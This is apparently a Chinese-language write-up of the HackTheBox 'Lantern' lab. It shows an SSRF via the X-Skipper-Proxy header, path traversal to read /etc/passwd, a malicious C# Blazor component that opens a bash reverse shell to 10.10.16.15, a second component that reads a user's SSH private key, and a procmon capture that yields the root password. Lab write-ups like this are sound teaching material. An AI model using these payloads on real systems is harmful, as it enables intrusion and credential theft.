Lantern(HTB Hard)

基本信息

  • IP:10.10.11.29
  • VPN:10.10.16.15
  • 域名:lantern.htb

信息收集

vim /etc/hosts
10.10.11.29    lantern.htb
nmap -sC -sV -Pn -T4 10.10.11.29
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp   open  http    Skipper Proxy
3000/tcp open  ppp?

/vacancies 有表单(可能 XSS)。3000 是 Blazor 管理后台。Skipper Proxy SSRF:EDB-51111,请求头 X-Skipper-Proxy。

python3 -m http.server 80

Burp 访问 http://lantern.htb,加:

X-Skipper-Proxy: http://10.10.16.7

本机收到请求,SSRF 成立。扫内网端口:

ffuf -w /usr/share/wordlists/ports.txt -c -v -t 1000 -u http://lantern.htb/ -H "X-Skipper-Proxy: http://lantern.htb:FUZZ"

发现 22、80、5000、8000。5000 上有 Blazor WASM:

curl http://lantern.htb/_framework/InternaLantern.dll -H "X-Skipper-Proxy: http://lantern.htb:5000" -o InternaLantern.dll

反编译 DLL,解出:

Initial credentials admin:AJbFA_Q@925p9ap#22

登录 3000 后台。站点还有任意文件读:

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
        return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
    except:
        return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
curl "http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../.&ext=/etc/passwd"

用户 root、tomas。搜索框只能读 /opt/components/ 下的 dll。把 Logs.dll 读下来分析继承关系,编写恶意组件。

curl "http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../.&ext=/opt/components/Logs.dll" -o Logs.dll
dotnet new classlib -n test

User

反弹版组件(shell 不稳定):

using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;

namespace test {
  public class Component : ComponentBase {
    protected override void BuildRenderTree(RenderTreeBuilder __builder) {
      Process proc = new System.Diagnostics.Process();
      proc.StartInfo.FileName = "bash";
      proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.15/6666 0>&1\"";
      proc.StartInfo.UseShellExecute = false;
      proc.StartInfo.RedirectStandardOutput = true;
      proc.Start();
    }
  }
}
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
dotnet build -c release

Blazor 走 WebSocket,用 BlazorTrafficProcessor 改上传文件名到 /opt/components/test.dll。反弹 shell 几秒就断,改成读 SSH 私钥:

using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace test {
    public class Component : ComponentBase {
        protected override void BuildRenderTree(RenderTreeBuilder builder) {
            base.BuildRenderTree(builder);
            string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
            builder.AddContent(0, file);
        }
    }
}

整理私钥(70 字符一行),然后:

chmod 600 id_rsa
ssh -i id_rsa [email protected]

拿到 user.txt。

Root

sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/procmon

/var/mail 提到 /root/automation.sh。ps -aef 看到 root 在用 nano 编这个脚本(PID 1985)。

file /usr/bin/procmon
sudo procmon -p 1985 -e write

等约 10 分钟,F6 / F9 退出,把 db 拉回:

scp -i id_rsa [email protected]:/var/mail/procmon_*.db ./
mv procmon_*.db procmon.db
sqlite3
.open procmon.db
.tables
pragma table_info(ebpf);
.output text.txt
SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;

CyberChef From Hex,去掉重复字符后得到 root 密码:Q3Eddtdw3pMB。

至此机器权限已经全部获取。